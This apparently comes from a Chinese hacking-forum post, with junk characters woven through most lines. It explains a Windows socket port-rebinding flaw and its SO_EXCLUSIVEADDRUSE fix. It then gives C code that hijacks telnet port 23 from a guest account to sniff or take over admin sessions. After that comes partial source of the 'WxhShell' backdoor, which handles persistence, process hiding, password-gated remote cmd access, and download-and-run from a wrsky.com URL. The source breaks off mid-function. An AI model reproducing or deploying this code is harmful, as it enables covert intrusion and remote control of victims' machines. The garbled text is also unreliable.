在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
h0Ee?= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
VYaSB?`/ j)Y[4 ^k^ saddr.sin_family = AF_INET;
gRAC d&) b:kXNDc saddr.sin_addr.s_addr = htonl(INADDR_ANY);
]GX \|1L ZB[k{Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
T 6Ctf# f@@s1gdb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
blahi]{Y9 #r<?v 这意味着什么?意味着可以进行如下的攻击:
R*9NR,C wAFW*rO5o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]\Xc9N8w Gf0,RH+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
02\JzBU m!O;>D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!8R@@,_v ^:u?ye; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*5OCqU+g BAV>o|-K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0y~<%`~ qaVy. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
P=`1 rjPE eEl.. y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T5|c$doQ |cDszoT
/ #include
r&%.z*q #include
lw[e*q{s. #include
R-rCh. #include
r?A|d.Tl DWORD WINAPI ClientThread(LPVOID lpParam);
\.#p_U5In int main()
" xR[mJ@U {
*hdC?m._ WORD wVersionRequested;
<7XT\?%F DWORD ret;
{2
%aCCV WSADATA wsaData;
9o0!m Cq BOOL val;
j U[
O SOCKADDR_IN saddr;
{G3i0r SOCKADDR_IN scaddr;
347eis' int err;
Quzo8u SOCKET s;
p $ouh SOCKET sc;
QTmZ(>z int caddsize;
yz\c5 HANDLE mt;
}]+xFj9[> DWORD tid;
q; jiw#_ wVersionRequested = MAKEWORD( 2, 2 );
~n?>[88" err = WSAStartup( wVersionRequested, &wsaData );
BqH]-'1G if ( err != 0 ) {
z0bJ?~w, printf("error!WSAStartup failed!\n");
@;:>G A return -1;
Ai"-w" }
mC[UXN/ saddr.sin_family = AF_INET;
VDGCWg6z "i&"* ~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P"3*lk+w nSx]QREL! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j1-,Sqi saddr.sin_port = htons(23);
r$(~j^<s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=f1B,%7G+5 {
. + printf("error!socket failed!\n");
PftxqJz return -1;
H'= (` }
e3(/qMl val = TRUE;
WYrI |^[> //SO_REUSEADDR选项就是可以实现端口重绑定的
6#e::GD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
lfN~A"X {
Sw[{JB;y, printf("error!setsockopt failed!\n");
,Hn^z<f return -1;
p'94SXO_ }
ds:->+o //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9GLb"6+PK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[10zTU` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
hBU\'.x >\Sr{p5KR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
k`{7}zxS {
+q<B.XxkA ret=GetLastError();
58V[mlW)O0 printf("error!bind failed!\n");
TsQU6NNE return -1;
a
W%5~3 }
d3;qsUh$yv listen(s,2);
x=Hndx^ while(1)
&M/>tEZ) {
I+(/TP caddsize = sizeof(scaddr);
M*eJ
JY //接受连接请求
eH%RNtP` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
OJAIaC\ if(sc!=INVALID_SOCKET)
qMYe{{r {
8,"yNq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Q{g;J`Z)p if(mt==NULL)
Tr&M~Lgb) {
2aN<w'pA printf("Thread Creat Failed!\n");
U/l?>lOD\ break;
I=DxRgt }
7q=G&e7 }
@A<PkpNL CloseHandle(mt);
bGF7Zh9 }
g\SrO {* closesocket(s);
,XkGe WSACleanup();
O$u"/cwe* return 0;
O1&b]C# }
^wb:C[r!V DWORD WINAPI ClientThread(LPVOID lpParam)
>Z.\J2wM<j {
6uPcXd:8ZR SOCKET ss = (SOCKET)lpParam;
5ExDB6Bx@y SOCKET sc;
PxFWJ?= unsigned char buf[4096];
D L'iS SOCKADDR_IN saddr;
8flOq"uK^ long num;
[U@;\V$ DWORD val;
_ *f DWORD ret;
v
*-0M //如果是隐藏端口应用的话,可以在此处加一些判断
@%ip7Y]e //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
RoGwK*j0+ saddr.sin_family = AF_INET;
W,^W^:m-x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
q@hzo>[ saddr.sin_port = htons(23);
ikD1N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[BBEEI=|r {
*Lqg=9kzr printf("error!socket failed!\n");
7JJ/D4uT return -1;
wIB`%V }
I
pzJ# val = 100;
(6l+lru[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Cqii} {
RwI[R)k ret = GetLastError();
gD`>Twa&6 return -1;
WYB{% yf }
Isy'{-H
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7{@l%jx][ {
XW{>-PBg: ret = GetLastError();
0& >H^ return -1;
SP* fv` }
v3d&*I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
".^VI2T {
_A13[Mt3 printf("error!socket connect failed!\n");
xL|;VyD closesocket(sc);
S"Lx% closesocket(ss);
osARA3\Xt return -1;
)SryDRT }
8to8!( while(1)
*]hBGr#6 {
7>iU1zy //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
g V5zSudW //如果是嗅探内容的话,可以再此处进行内容分析和记录
D8&`R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,Ys"W x num = recv(ss,buf,4096,0);
3pf[M{dG if(num>0)
tCxF~L@ send(sc,buf,num,0);
Z6\+ else if(num==0)
d8-A*W[ break;
F
num = recv(sc,buf,4096,0);
WE]e
m
> if(num>0)
BH]Yn u&o send(ss,buf,num,0);
akw,P$i else if(num==0)
bVP"(H] break;
STZPYeXE }
s,#>m*Rh closesocket(ss);
;%tF58& closesocket(sc);
+)zOer, return 0 ;
`.s({/|[ }
t!Sq A(-V V%$/#sza v8AS=sY4r ==========================================================
T\~x.aH`^ bR@p<;G| 下边附上一个代码,,WXhSHELL
=X.LA%Sf=u Z{&cuo.@<] ==========================================================
T~QJO0 gbVdOm #include "stdafx.h"
L
"sO+4w `+6R0Ch #include <stdio.h>
W9NX=gE4 #include <string.h>
*CHI2MB #include <windows.h>
dy_:-2S #include <winsock2.h>
=zQN[ #include <winsvc.h>
;WR,eI.. #include <urlmon.h>
Ft}@1w5 9tF9T\jW #pragma comment (lib, "Ws2_32.lib")
H"A7Zo #pragma comment (lib, "urlmon.lib")
:
]C~gc RKPO#qju\F #define MAX_USER 100 // 最大客户端连接数
Ua!aaq& #define BUF_SOCK 200 // sock buffer
6@DF #define KEY_BUFF 255 // 输入 buffer
/Q,mJ.CnSR J:V?EE,\- #define REBOOT 0 // 重启
Sa2>`":d #define SHUTDOWN 1 // 关机
6{=\7AY pz"0J_xDM #define DEF_PORT 5000 // 监听端口
bygx]RC[ p/+a=Yo #define REG_LEN 16 // 注册表键长度
pK0"%eA #define SVC_LEN 80 // NT服务名长度
*6q5S4 r E>l~-PaZY // 从dll定义API
sQkhwMg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`OSN\"\ad typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'],J$ge typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v:H$<~)E| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
1GzAG;UUo6 y5!KX AQ% // wxhshell配置信息
a+n0|CvF struct WSCFG {
T=ev[ mS int ws_port; // 监听端口
4?B\O`sy. char ws_passstr[REG_LEN]; // 口令
|1j["u1 int ws_autoins; // 安装标记, 1=yes 0=no
F$)[kP,wtO char ws_regname[REG_LEN]; // 注册表键名
| Bi! char ws_svcname[REG_LEN]; // 服务名
om1eQp0N char ws_svcdisp[SVC_LEN]; // 服务显示名
HTG%t/S char ws_svcdesc[SVC_LEN]; // 服务描述信息
ti
\wg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}_ 9Cxji int ws_downexe; // 下载执行标记, 1=yes 0=no
d3xmtG {i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F6z%VWU char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;+ "+3 )ut&@] };
F w?[lS M3.do^ss // default Wxhshell configuration
A0Qb 5e struct WSCFG wscfg={DEF_PORT,
$< JaLS "xuhuanlingzhe",
} }59V&'t 1,
4r45i: "Wxhshell",
A}l3cP;
`# "Wxhshell",
dkz=CY3p%X "WxhShell Service",
q.;u?,|E/ "Wrsky Windows CmdShell Service",
s7F.sg "Please Input Your Password: ",
4t=G
1,
PUUwv_ "
http://www.wrsky.com/wxhshell.exe",
B6={&7U2 "Wxhshell.exe"
'dn]rV0(C };
!z>6Uf!{ 2'w?\{}D // 消息定义模块
\.-bZ$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
gw!vlwC&T char *msg_ws_prompt="\n\r? for help\n\r#>";
w(L4A0K[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:>5@cvc char *msg_ws_ext="\n\rExit.";
q#%xro>m char *msg_ws_end="\n\rQuit.";
j:v@pzTD char *msg_ws_boot="\n\rReboot...";
fb~ytl< char *msg_ws_poff="\n\rShutdown...";
HAa;hb char *msg_ws_down="\n\rSave to ";
yU*8|FQbP nlc
"c5;jh char *msg_ws_err="\n\rErr!";
p>huRp^w char *msg_ws_ok="\n\rOK!";
$&n=$C&x F1yqxWHeo char ExeFile[MAX_PATH];
[1S|dc>.O% int nUser = 0;
" )1V]}+m HANDLE handles[MAX_USER];
cz8T int OsIsNt;
p^w;kN lNYt`xp SERVICE_STATUS serviceStatus;
JJN.ugT}1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
M<v%CawS t7aefV&_, // 函数声明
:/nj@X6 int Install(void);
cPlZXf int Uninstall(void);
H*PSR int DownloadFile(char *sURL, SOCKET wsh);
eceP0x int Boot(int flag);
fumm<:<CLO void HideProc(void);
50S&m+4d+ int GetOsVer(void);
_z|65H int Wxhshell(SOCKET wsl);
C&(N
I void TalkWithClient(void *cs);
Yo6*C int CmdShell(SOCKET sock);
|IzPgC int StartFromService(void);
[<@.eH$hU/ int StartWxhshell(LPSTR lpCmdLine);
+ R~'7*EI &OH={Au VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Fww :$^_ k VOID WINAPI NTServiceHandler( DWORD fdwControl );
W:pIPDx1=! NXrJfp // 数据结构和表定义
s{*[]! SERVICE_TABLE_ENTRY DispatchTable[] =
k5'Vy8q {
p$]3'jw {wscfg.ws_svcname, NTServiceMain},
o6.^*%kM' {NULL, NULL}
:74y! };
u0`S5? T4Pgbop // 自我安装
W')Yg5T int Install(void)
V Y7[) {
_l89 char svExeFile[MAX_PATH];
\!.B+7t=I HKEY key;
UM"- nZ>[ strcpy(svExeFile,ExeFile);
L 0TFo_ +nFu|qM} // 如果是win9x系统,修改注册表设为自启动
<Zmg# if(!OsIsNt) {
lR6@
xJd:@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n{argI8wF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m#|
9hMu RegCloseKey(key);
Q+{xZ'o"Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Rl?_^dPx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f.KN-f8<F RegCloseKey(key);
YJT&{jYi return 0;
OrY/`+Cog }
iP ->S\ }
r@H /kD }
.YAT:;L else {
#lL^?|M .SU8)T // 如果是NT以上系统,安装为系统服务
,is3&9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=O5pY9UO if (schSCManager!=0)
TrEu'yxy8* {
kTOzSiq SC_HANDLE schService = CreateService
( R=:X+ k (
f<d`B]$( schSCManager,
s<<ooycBrQ wscfg.ws_svcname,
];[}:f wscfg.ws_svcdisp,
dO!
kk"qn SERVICE_ALL_ACCESS,
^BikV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*av<E SERVICE_AUTO_START,
hj*pTuym SERVICE_ERROR_NORMAL,
%K=?@M9i svExeFile,
<lPm1/8 NULL,
*v !9MU9[( NULL,
BYL)nCc NULL,
/T0F"e)Ci NULL,
1Y\DJ@lh NULL
) j#`r/ );
FpmM63$VN[ if (schService!=0)
2*;~S44 {
*v^Jb/E315 CloseServiceHandle(schService);
3nO]Ge"w'n CloseServiceHandle(schSCManager);
P64PPbP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_Xe>V0 strcat(svExeFile,wscfg.ws_svcname);
un mJbY;t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
O:;w3u7;u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LM<qT-/qs RegCloseKey(key);
l*(8i ^ return 0;
K_|k3^xx" }
NX*Q F+ }
O`IQ(,yef CloseServiceHandle(schSCManager);
)-I {^( }
[Kg+^N%+ }
u&Yz[)+b=g qd ~BnR$= return 1;
;#W2|'HD }
5}l[>lF u5`u>.! // 自我卸载
Q%`@0#"]Sv int Uninstall(void)
t6"%3#s {
r=
`Jn6@ HKEY key;
^1I19q |.: q if(!OsIsNt) {
RB7tmJc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^,TO#%$iE RegDeleteValue(key,wscfg.ws_regname);
MS~(D.@ZS RegCloseKey(key);
Y8~"vuIE5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V(I8=rVH RegDeleteValue(key,wscfg.ws_regname);
QOGvC[*`<T RegCloseKey(key);
i+ ?^8# return 0;
C_}]`[ }
{H>gtpVy }
mp1@|*Sn }
F]O`3e=! else {
Cw3a0u ?=sDM& ' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J/y83@ if (schSCManager!=0)
O3,jg|, {
yLvDMPj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#CTE-W"|HE if (schService!=0)
UERLtSQ {
JX;<F~{. if(DeleteService(schService)!=0) {
0*3R=7_},o CloseServiceHandle(schService);
gh]cXuph CloseServiceHandle(schSCManager);
]m3HF& return 0;
lfow1WRF }
E4jNA}3k+ CloseServiceHandle(schService);
vH@ds
k }
2*& ^v CloseServiceHandle(schSCManager);
vm8eZG| }
?(1y }
rH Lm\3 &jJL"gq" return 1;
6Pl<'3& }
F0TB<1 AO4U}? // 从指定url下载文件
,?%Zc$\LW int DownloadFile(char *sURL, SOCKET wsh)
b4 6~?* {
`Y$4 H,8L HRESULT hr;
*~e?TfG char seps[]= "/";
eF$x 1| char *token;
& '`g#N char *file;
7&)bJ@1U char myURL[MAX_PATH];
eu-*?]&Di char myFILE[MAX_PATH];
[q[Y~1o/&H P/eeC" strcpy(myURL,sURL);
zY{A'<\O token=strtok(myURL,seps);
zR:L!S while(token!=NULL)
A |4[vz9>H {
<)H9V-5aZ file=token;
xJ]\+ 50 token=strtok(NULL,seps);
U?Zq6_M& }
}o(-=lF @Cyvf5|bL GetCurrentDirectory(MAX_PATH,myFILE);
4xje$/_d
strcat(myFILE, "\\");
WSB0~+ strcat(myFILE, file);
sY&IquK^ send(wsh,myFILE,strlen(myFILE),0);
B~ GbF*j send(wsh,"...",3,0);
.*Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*i%.;Z" if(hr==S_OK)
=8.
,43+ return 0;
X&`t{Id?6 else
E{`fF8]K return 1;
G9cUD[GB IOmfF[ }
k="i;! Ge ]w8(&,PP // 系统电源模块
KkbD W3- int Boot(int flag)
b]#AI
qt {
^jZbo{ HANDLE hToken;
Ow,w$0(D TOKEN_PRIVILEGES tkp;
[RhO$c$[\ |/{=ww8| if(OsIsNt) {
SY\ gXO8k OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f.$af4
u LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.M%}X7 tkp.PrivilegeCount = 1;
qo bc<- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*.t7G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Zb>? 8 if(flag==REBOOT) {
<\^8fn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f2`2,? return 0;
VY4yS*y }
sDlO# else {
aEeodA<( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+=</&Tm return 0;
%7.30CA|# }
hRhe& ,v }
tT_\ i6My else {
{JMVV_}n if(flag==REBOOT) {
x'<X!gw if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3XV/Fb}!(i return 0;
)3EY; }
;HO= else {
.#8 JCY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/y}xX return 0;
1oGw4kD^x }
8<Av@9 *} }
<0!):zraS jQB9j return 1;
Tyx_/pJT }
/82b S| s.C_Zf~3 // win9x进程隐藏模块
aqk!T%fg void HideProc(void)
UZ+<\+q3^ {
M .mfw#* D'Q\za HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
EaN6^S= if ( hKernel != NULL )
s2'h {
-[.[>&`/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
u'BaKWPS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4|?;TE5 FreeLibrary(hKernel);
1=V-V< }
3a'<*v<xw MQ6KN(?\ZL return;
MQ8J<A Pf- }
XwaXdvmK q(84+{>B // 获取操作系统版本
fE
mr^R int GetOsVer(void)
$>LQ6|XRu {
X'iWJ8 OSVERSIONINFO winfo;
wFZP,fQ9l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&tj!*k' GetVersionEx(&winfo);
4.t-i5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^ [@, return 1;
/%^#8<=|U else
3[*}4}k9 return 0;
H4+i.*T# }
ep{FpB ]h5tgi?_l // 客户端句柄模块
eJ-nKkg~a int Wxhshell(SOCKET wsl)
C,4e"yynb {
fz
"Y CHe SOCKET wsh;
SvF<p3 struct sockaddr_in client;
= dN@Sa/ DWORD myID;
N;`n@9BF Z7Hbj!d/Sz while(nUser<MAX_USER)
6Z"X}L,* {
LKDO2N int nSize=sizeof(client);
_H@DLhH|= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
GZIa4A if(wsh==INVALID_SOCKET) return 1;
}O
p;
g^W yJIscwF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;aVZ"~a+\ if(handles[nUser]==0)
9hyn`u. closesocket(wsh);
;RlxD 4p else
jmG~Un M nUser++;
CU!Dhm/U }
b&U62iq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
c7H^$_^ = }0y"F return 0;
|`FY1NN
}
KMax$ t%8BK>AHvw // 关闭 socket
G 01ON0 void CloseIt(SOCKET wsh)
O;3>sLgc {
p6S8VA closesocket(wsh);
=Dj#gV nUser--;
"\yT7?}, ExitThread(0);
2GG2jky{/ }
zfdl45 VUuE T // 客户端请求句柄
2&cT~ZX&' void TalkWithClient(void *cs)
gs`q6f%( {
#GFr`o0$^ @2i9n SOCKET wsh=(SOCKET)cs;
<:CkgR$/{ char pwd[SVC_LEN];
))Za&S*< char cmd[KEY_BUFF];
:g/tZd$G5 char chr[1];
uPvEwq*
C int i,j;
{oL>1h,%3? xoME9u0x4 while (nUser < MAX_USER) {
~"A0Rs= r9XZ(0/p if(wscfg.ws_passstr) {
);YDtGip J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%BQ`MZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
BnY&f //ZeroMemory(pwd,KEY_BUFF);
2~[juWbz i=0;
BTxrp while(i<SVC_LEN) {
kq-) ^,{y o2ECG`^b // 设置超时
B33\?Yj) fd_set FdRead;
K(|}dl: struct timeval TimeOut;
C,eu9wOT FD_ZERO(&FdRead);
lU]nd[x FD_SET(wsh,&FdRead);
R.3q0yZ
wF TimeOut.tv_sec=8;
cWm$;`Q#\ TimeOut.tv_usec=0;
# f\rt
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
FP>2C9:d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%z$#6?OK^ 5bb(/YtFy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
5mR 1@ pwd
=chr[0]; J .<F"r>
if(chr[0]==0xd || chr[0]==0xa) { |V(0GB
pwd=0; yt2PU_),
break; 6L~n.5B~o
} E?@m?@*/
i++; CvdN"k
} : rVnc =k
cz$2R
// 如果是非法用户,关闭 socket T
u'{&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :23P!^Y
} !5N.B|Nt
5lum $5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |':{lH6+1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y4YJJYvD
.RL=xb|[
while(1) { {4PwLCy
9tnD=A<PS
ZeroMemory(cmd,KEY_BUFF); !n%j)`0M
z@j8lv2j1
// 自动支持客户端 telnet标准 H,NF;QPPC
j=0; HbIF^LeY|R
while(j<KEY_BUFF) { Alq(QDs
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @}ZVtrz
cmd[j]=chr[0]; L RF103nw
if(chr[0]==0xa || chr[0]==0xd) { *NQ/UXE
cmd[j]=0; V.2_i*
break; e}W)LPR!
} H"F29Pu2
j++; mp3s-YfRc
} |l!aB(NW
'hf8ZEW9'
// 下载文件 P2nu;I_&
if(strstr(cmd,"http://")) { Yr|4Fl~U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {c0`Um3&>
if(DownloadFile(cmd,wsh)) 8cQ'dL`(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yh=N@Z*zP
else 5LMw?P.<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LH6vLuf
} :zR!/5
else { T8NxJmYqB
T^q
0'#/
switch(cmd[0]) { Mb=" Te>|
fXB0j;A
// 帮助 `F6C-
case '?': { tf G@&&%9
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fc@A0Hf
break; &m vSiyKX
} WF"k[2
// 安装 DV{=n C
case 'i': { Hx:;@_gq
if(Install()) hv+zGID7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;wD)hNLAvR
else %XTI-B/K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2T`!v
break; =R\]=cRbg
} rM"l@3hP
// 卸载 OrG).^l
case 'r': { [S<";l8
if(Uninstall()) i6N',&jFU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$@h1Y
else .e5Mnd%$M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NEF#
}s2=
break; jh$='G n
} et+0FF
,
// 显示 wxhshell 所在路径 wNX]7wMX
case 'p': { 0BsYavCR
char svExeFile[MAX_PATH]; B-ESFATc
strcpy(svExeFile,"\n\r"); )}ROLe
strcat(svExeFile,ExeFile); ?1".;foZ
send(wsh,svExeFile,strlen(svExeFile),0); L=h'Qgk%
break; -^wl>}#*T3
} BORA(,
// 重启 U;I9 bK8
case 'b': { Aa]"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t:c.LFrF
if(Boot(REBOOT)) -.3w^D"l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mcok/,/
else { L8n|m!MOD
closesocket(wsh); y_9Ds>p!T
ExitThread(0); 6zn5UW#q
} 5:Uso{
break; ze;KhUPRm
} -{_PuJ "
// 关机 bjS{(
case 'd': { 3mni>*q7d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y3ikWnx
if(Boot(SHUTDOWN)) 59-c<I/}f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2)6s\]/b
else { lys#G:H]
closesocket(wsh); &~w}_Fjk
ExitThread(0); }&3~|kP~O
} q,6DEz
break; P
}uOJVQ_
} -%dCw6aX+
// 获取shell {_dvx*M
case 's': { %K
QQ,{ b
CmdShell(wsh); fn!KQ`,#
closesocket(wsh); 4`R(?
ExitThread(0); RrgGEx
break; .[ mRM
} *9i{,I@
// 退出 KGpA2Nx
case 'x': { ]:\dPw`A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4Xv*wB1
CloseIt(wsh); KY N0
break; IIqUZJ
} D
sWSGb
// 离开 D,ln)["xm
case 'q': { lNBL4yM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M#[{>6>iE
closesocket(wsh); 6`-jPR
WSACleanup(); ,?XCyHSgWW
exit(1); bYPK h
break; 'Z |mQZN
} I2^8pTLh
} <^uBoKB/f
} bs'n+:X`
<Ok3FE.K
// 提示信息 VD\=`r)nT
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e0 T\tc
} jNy.Y8E&
} V470C@
"g#i'"qnW
return; k;L6R!V
} :,I:usW"
!Rt>xD
// shell模块句柄 d^6M9lGU
int CmdShell(SOCKET sock) MqUH',\3
{ 1!gbTeVlY
STARTUPINFO si; SZ$Kz n
ZeroMemory(&si,sizeof(si)); *WT`o>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >dG[G>
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N.{D$"
PROCESS_INFORMATION ProcessInfo; 6MkP |vr6
char cmdline[]="cmd"; w+{LAS
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \'bzt"f$j
return 0; O0y_Lm\
} veh<R]U
m9Hit8f@Q
// 自身启动模式 #1G:lhkC
int StartFromService(void) ""|Qtubv
{ >e"#'K0?\
typedef struct YUIi;
{ :08,JL{
DWORD ExitStatus; ?S$P9^ii'
DWORD PebBaseAddress; XvlU*TO~(~
DWORD AffinityMask; 8ITdSg
DWORD BasePriority; #YOA`m,'
ULONG UniqueProcessId; E\,-XH
ULONG InheritedFromUniqueProcessId; K6)j0]K1
